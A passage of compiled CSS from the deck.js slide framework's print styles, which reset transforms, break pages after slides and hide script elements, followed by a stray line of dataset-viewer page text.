-webkit-transform: none !important;
-moz-transform: none !important;
-o-transform: none !important;
-ms-transform: none !important;
transform: none !important;
padding: 0 !important;
position: static !important;
}
/* line 436, ../sass/deck.core.scss */
.deck-container > .slide {
page-break-after: always;
}
/* line 440, ../sass/deck.core.scss */
.deck-container {
width: 100% !important;
height: auto !important;
padding: 0 !important;
display: block !important;
}
/* line 447, ../sass/deck.core.scss */
script {
display: none;
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.